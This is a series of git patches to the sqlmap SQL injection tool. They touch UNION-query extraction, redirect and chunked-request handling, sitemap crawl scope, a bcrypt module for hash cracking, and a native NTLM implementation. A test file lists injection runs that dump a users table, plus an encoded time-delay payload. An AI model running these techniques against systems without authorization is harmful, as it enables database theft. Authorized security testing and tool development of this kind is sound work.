b/lib/core/settings.py index 3739c215092..19a90dd1e15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.48" +VERSION = "1.10.7.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index d9b4b589e2a..86573bdadbb 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -31,6 +31,7 @@ from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage +from lib.core.common import randomStr from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage @@ -296,7 +297,7 @@ def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count offset = 0 while offset < count: - query = "SELECT %s FROM (%s %s) sqmapx" % (aggExpr, base, window(offset, chunk)) + query = "SELECT %s FROM (%s %s) %s" % (aggExpr, base, window(offset, chunk), randomStr()) kb.jsonAggMode = True output = _oneShotUnionUse(query, False) From 5893f069aec124098096d0c007e89c9e752a878c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 08:15:35 +0200 Subject: [PATCH 707/853] Enabling jsonAgg in partial union cases --- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/techniques/union/use.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 19a90dd1e15..1e0a3c5efae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.49" +VERSION = "1.10.7.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 758d1a8bf85..bd3f872c0a1 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -86,7 +86,7 @@ def vulnTest(tests=None, label="vuln"): ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 86573bdadbb..43de9a31a35 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -348,7 +348,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True @@ -374,7 +374,7 @@ def unionUse(expression, unpack=True, dump=False): # response cap) and the table is large, retrieve the rows in bounded windows (chunked # JSON aggregation) before the slow per-row fallback. Done here (independent of the # detected UNION where-clause) so it engages for any dumpable FROM-table query. - if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((kb.forcePartialUnion, conf.forcePartial, conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): + if value is None and " FROM " in expression.upper() and not re.search(SQL_SCALAR_REGEX, expression, re.I) and not any((conf.disableJson, conf.binaryFields, conf.limitStart, conf.limitStop)): chunkCountExpr = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % '*', 1) if " ORDER BY " in chunkCountExpr.upper(): chunkCountExpr = chunkCountExpr[:chunkCountExpr.upper().rindex(" ORDER BY ")] From c1516f1750b7a95e9ea92fe96c2fd495c7f65326 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:02:25 +0200 Subject: [PATCH 708/853] Fixes #6080 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 12 +++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1e0a3c5efae..6fb66aa5954 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.50" +VERSION = "1.10.7.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 515c415e519..64ee596e091 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -82,14 +82,20 @@ def http_error_302(self, req, fp, code, msg, headers): redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: - content = fp.fp.read(MAX_CONNECTION_TOTAL_SIZE) - fp.fp = io.BytesIO(content) + # Note: drain via the length-aware response (honors Content-Length/chunked), NOT the raw + # socket 'fp.fp' - the latter has no HTTP framing, so on a Keep-Alive connection (no EOF) + # it blocks for the whole '--timeout' on every redirect (Issue #6080) + content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except _http_client.IncompleteRead as ex: content = ex.partial - fp.fp = io.BytesIO(content) except: content = b"" + # back 'fp' with the captured body so it stays re-readable downstream (Issue #5985); the + # length-aware read above has consumed the response, so restore both the buffer and read() + fp.fp = io.BytesIO(content) + fp.read = fp.fp.read + content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() From c1363dd44cc0da19249af415aa7114f7faafc198 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:56:51 +0200 Subject: [PATCH 709/853] Minor refactoring --- lib/core/settings.py | 2 +- lib/utils/bcrypt.py | 146 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/hash.py | 127 +------------------------------------ 3 files changed, 149 insertions(+), 126 deletions(-) create mode 100644 lib/utils/bcrypt.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6fb66aa5954..be0c390594d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.51" +VERSION = "1.10.7.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/bcrypt.py b/lib/utils/bcrypt.py new file mode 100644 index 00000000000..d8211574087 --- /dev/null +++ b/lib/utils/bcrypt.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import struct + +from lib.core.compat import xrange +from lib.core.convert import getBytes + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcryptHash(password, salt, cost): + """ + Provos-Mazieres EksBlowfish digest, base64-encoded (the openwall bcrypt hash tail) + + >>> bcryptHash("U*U", "CCCCCCCCCCCCCCCCCCCCC.", 5) + 'E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return _bcryptBase64(digest) + diff --git a/lib/utils/hash.py b/lib/utils/hash.py index cca7d4fc3e3..4531e0eca8e 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -94,6 +94,7 @@ from lib.core.settings import ROTATING_CHARS from lib.core.settings import UNICODE_ENCODING from lib.core.wordlist import Wordlist +from lib.utils.bcrypt import bcryptHash from thirdparty import six from thirdparty.colorama.initialise import init as coloramainit from thirdparty.six.moves import queue as _queue @@ -552,112 +553,6 @@ def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'cac return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) -# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi -BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" - -_bcryptState = None - -def _bcryptInitState(): - global _bcryptState - - if _bcryptState is None: - count = 18 + 4 * 256 - ndigits = count * 8 - prec = ndigits + 16 - one = 1 << (4 * prec) - - def _arctan(inv): - total = term = one // inv - square = inv * inv - i = 1 - while term: - term //= square - total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) - i += 1 - return total - - frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) - hexstr = "%0*x" % (ndigits, frac) - words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] - _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) - - return _bcryptState - -def _bcryptEncipher(P, S, L, R): - for i in xrange(16): - L ^= P[i] - R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff - L, R = R, L - L, R = R, L - return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff - -def _bcryptStream(data, offset): - word = 0 - for _ in xrange(4): - word = ((word << 8) | data[offset[0]]) & 0xffffffff - offset[0] = (offset[0] + 1) % len(data) - return word - -def _bcryptExpand(P, S, data, key): - koffset = [0] - for i in xrange(18): - P[i] ^= _bcryptStream(key, koffset) - - doffset = [0] - L = R = 0 - for i in xrange(0, 18, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - P[i], P[i + 1] = L, R - - for b in xrange(4): - for k in xrange(0, 256, 2): - if data: - L ^= _bcryptStream(data, doffset) - R ^= _bcryptStream(data, doffset) - L, R = _bcryptEncipher(P, S, L, R) - S[b][k], S[b][k + 1] = L, R - -def _bcryptBase64(data): - retVal = "" - i = 0 - while i < len(data): - c = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] - c = (c & 3) << 4 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - d = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] - c = (d & 0x0f) << 2 - if i >= len(data): - retVal += BCRYPT_ITOA64[c & 0x3f]; break - e = data[i]; i += 1 - retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] - retVal += BCRYPT_ITOA64[e & 0x3f] - return retVal - -def _bcryptUnbase64(value, length): - retVal = bytearray() - positions = [BCRYPT_ITOA64.index(_) for _ in value] - i = 0 - while i < len(positions) and len(retVal) < length: - c1 = positions[i] - c2 = positions[i + 1] if i + 1 < len(positions) else 0 - retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) - if len(retVal) >= length: - break - c3 = positions[i + 2] if i + 2 < len(positions) else 0 - retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) - if len(retVal) >= length: - break - c4 = positions[i + 3] if i + 3 < len(positions) else 0 - retVal.append((((c3 & 3) << 6) | c4) & 0xff) - i += 4 - return retVal[:length] - def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): """ Reference(s): @@ -667,25 +562,7 @@ def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' """ - P0, S0 = _bcryptInitState() - P, S = list(P0), [list(_) for _ in S0] - - key = bytearray(getBytes(password) + b"\0") - saltbytes = _bcryptUnbase64(salt, 16) - - _bcryptExpand(P, S, saltbytes, key) - for _ in xrange(1 << cost): - _bcryptExpand(P, S, b"", key) - _bcryptExpand(P, S, b"", saltbytes) - - ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) - for _ in xrange(64): - for j in xrange(0, 6, 2): - ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) - - digest = bytearray(struct.pack(">6I", *ctext))[:23] - - return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + return "%s%02d$%s%s" % (magic, cost, salt, bcryptHash(password, salt, cost)) def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' """ From 478888b19e5eb350d286412e2dac9bf90474792f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 09:57:08 +0200 Subject: [PATCH 710/853] Minor patch --- lib/core/settings.py | 2 +- lib/parse/sitemap.py | 3 ++- lib/utils/crawler.py | 2 ++ 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index be0c390594d..b12a812d679 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.52" +VERSION = "1.10.7.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index fd68ece04b7..882c86b2013 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -8,6 +8,7 @@ import re from lib.core.common import readInput +from lib.core.convert import htmlUnescape from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet @@ -47,7 +48,7 @@ def parseSitemap(url, retVal=None, visited=None): if abortedFlag: break - foundUrl = match.group(1).strip() + foundUrl = htmlUnescape(match.group(1).strip()) # Basic validation to avoid junk if not foundUrl.startswith("http"): diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 3741d2ace14..ff8d7bdd653 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -168,6 +168,8 @@ def crawlThread(): finally: if found: if items: + # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above + items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target))) for item in items: if re.search(r"(.*?)\?(.+)", item): threadData.shared.value.add(item) From 8837dd24354cc462b8c725ab487360d2cb3f0f84 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:12:43 +0200 Subject: [PATCH 711/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/chunkedhandler.py | 12 ++++++++++-- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b12a812d679..6df31db99e7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.53" +VERSION = "1.10.7.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 573f3b3d032..4fface114ac 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -14,6 +14,10 @@ class ChunkedHandler(_urllib.request.HTTPHandler): Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ + # Note: run after urllib's own request munging so that a Content-Length it may have added (the + # HTTPS path on Python 2 adds one unconditionally) is present to be stripped when '--chunked' + handler_order = _urllib.request.HTTPHandler.handler_order + 1 + def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: @@ -23,7 +27,11 @@ def _http_request(self, request): data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") - if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + if conf.chunked: # Content-Length must not accompany 'Transfer-Encoding: chunked' + for store in (request.headers, request.unredirected_hdrs): + for name in [_ for _ in store if _.lower() == HTTP_HEADER.CONTENT_LENGTH.lower()]: + del store[name] + elif not request.has_header(HTTP_HEADER.CONTENT_LENGTH): request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host @@ -38,4 +46,4 @@ def _http_request(self, request): request.add_unredirected_header(name, value) return request - http_request = _http_request + http_request = https_request = _http_request From 767feba3a7f877f57f79d4f8dbd064870f17f5d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 10:38:19 +0200 Subject: [PATCH 712/853] Embedding the NTLM auth support (without the deprecated 3rd party lib) --- lib/core/option.py | 11 +- lib/core/settings.py | 2 +- lib/request/ntlm.py | 269 +++++++++++++++++++++++++++++++++++++++++++ lib/utils/deps.py | 11 -- sqlmap.py | 11 -- tests/test_option.py | 10 +- 6 files changed, 275 insertions(+), 39 deletions(-) create mode 100644 lib/request/ntlm.py diff --git a/lib/core/option.py b/lib/core/option.py index 920d4d95c25..bb915197d21 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1515,15 +1515,8 @@ def _setHTTPAuthentication(): authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM. Download from " - errMsg += "'https://github.com/mullender/python-ntlm'" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6df31db99e7..95cd3266770 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.54" +VERSION = "1.10.7.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/ntlm.py b/lib/request/ntlm.py new file mode 100644 index 00000000000..1b88812943c --- /dev/null +++ b/lib/request/ntlm.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free NTLM-over-HTTP authentication (MS-NLMP / MS-NTHT), replacing the ancient +# and unmaintained 'python-ntlm' third-party library. Pure standard library + the in-tree pyDes for +# the DES core (hashlib's MD4 is unavailable under OpenSSL 3's unloaded legacy provider, so MD4 is +# implemented here per RFC 1320). Python 2.7 / 3.x. Crypto validated against the [MS-NLMP] test vectors. + +import base64 +import binascii +import os +import re +import socket +import ssl +import struct + +from lib.core.convert import getBytes +from lib.core.convert import getText +from thirdparty.pydes.pyDes import des +from thirdparty.pydes.pyDes import ECB +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# ---------- MD4 (RFC 1320) ---------- +def _md4(data): + data = bytearray(data) + n = len(data) + data.append(0x80) + while len(data) % 64 != 56: + data.append(0) + data += struct.pack("> (32 - s))) & M + + for off in range(0, len(data), 64): + X = struct.unpack("<16I", bytes(data[off:off + 64])) + A, B, C, D = a, b, c, d + F = lambda x, y, z: (x & y) | (~x & z) + G = lambda x, y, z: (x & y) | (x & z) | (y & z) + H = lambda x, y, z: x ^ y ^ z + + for k in (0, 4, 8, 12): + A = rot((A + F(B, C, D) + X[k]) & M, 3) + D = rot((D + F(A, B, C) + X[k + 1]) & M, 7) + C = rot((C + F(D, A, B) + X[k + 2]) & M, 11) + B = rot((B + F(C, D, A) + X[k + 3]) & M, 19) + for k in (0, 1, 2, 3): + A = rot((A + G(B, C, D) + X[k] + 0x5a827999) & M, 3) + D = rot((D + G(A, B, C) + X[k + 4] + 0x5a827999) & M, 5) + C = rot((C + G(D, A, B) + X[k + 8] + 0x5a827999) & M, 9) + B = rot((B + G(C, D, A) + X[k + 12] + 0x5a827999) & M, 13) + for k in (0, 2, 1, 3): + A = rot((A + H(B, C, D) + X[k] + 0x6ed9eba1) & M, 3) + D = rot((D + H(A, B, C) + X[k + 8] + 0x6ed9eba1) & M, 9) + C = rot((C + H(D, A, B) + X[k + 4] + 0x6ed9eba1) & M, 11) + B = rot((B + H(C, D, A) + X[k + 12] + 0x6ed9eba1) & M, 15) + + a, b, c, d = (a + A) & M, (b + B) & M, (c + C) & M, (d + D) & M + + return struct.pack("<4I", a, b, c, d) + +# ---------- DES core (in-tree pyDes) with the NTLM 7->8 byte parity key expansion ---------- +def _str_to_key(chunk): + s = bytearray(chunk) + k = [s[0] >> 1, + ((s[0] & 0x01) << 6) | (s[1] >> 2), + ((s[1] & 0x03) << 5) | (s[2] >> 3), + ((s[2] & 0x07) << 4) | (s[3] >> 4), + ((s[3] & 0x0f) << 3) | (s[4] >> 5), + ((s[4] & 0x1f) << 2) | (s[5] >> 6), + ((s[5] & 0x3f) << 1) | (s[6] >> 7), + s[6] & 0x7f] + return bytes(bytearray((_ << 1) & 0xff for _ in k)) + +def _des(key7, block8): + return des(_str_to_key(key7), ECB).encrypt(block8) + +# ---------- negotiate flags ---------- +NTLM_NegotiateUnicode = 0x00000001 +NTLM_NegotiateOEM = 0x00000002 +NTLM_RequestTarget = 0x00000004 +NTLM_NegotiateNTLM = 0x00000200 +NTLM_NegotiateOemDomainSupplied = 0x00001000 +NTLM_NegotiateOemWorkstationSupplied = 0x00002000 +NTLM_NegotiateAlwaysSign = 0x00008000 +NTLM_NegotiateExtendedSecurity = 0x00080000 +NTLM_NegotiateTargetInfo = 0x00800000 +NTLM_NegotiateVersion = 0x02000000 +NTLM_Negotiate128 = 0x20000000 +NTLM_Negotiate56 = 0x80000000 +NTLM_MsvAvTimestamp = 7 + +NTLM_TYPE1_FLAGS = (NTLM_NegotiateUnicode | NTLM_NegotiateOEM | NTLM_RequestTarget | NTLM_NegotiateNTLM | + NTLM_NegotiateOemDomainSupplied | NTLM_NegotiateOemWorkstationSupplied | + NTLM_NegotiateAlwaysSign | NTLM_NegotiateExtendedSecurity | NTLM_NegotiateVersion | + NTLM_Negotiate128 | NTLM_Negotiate56) 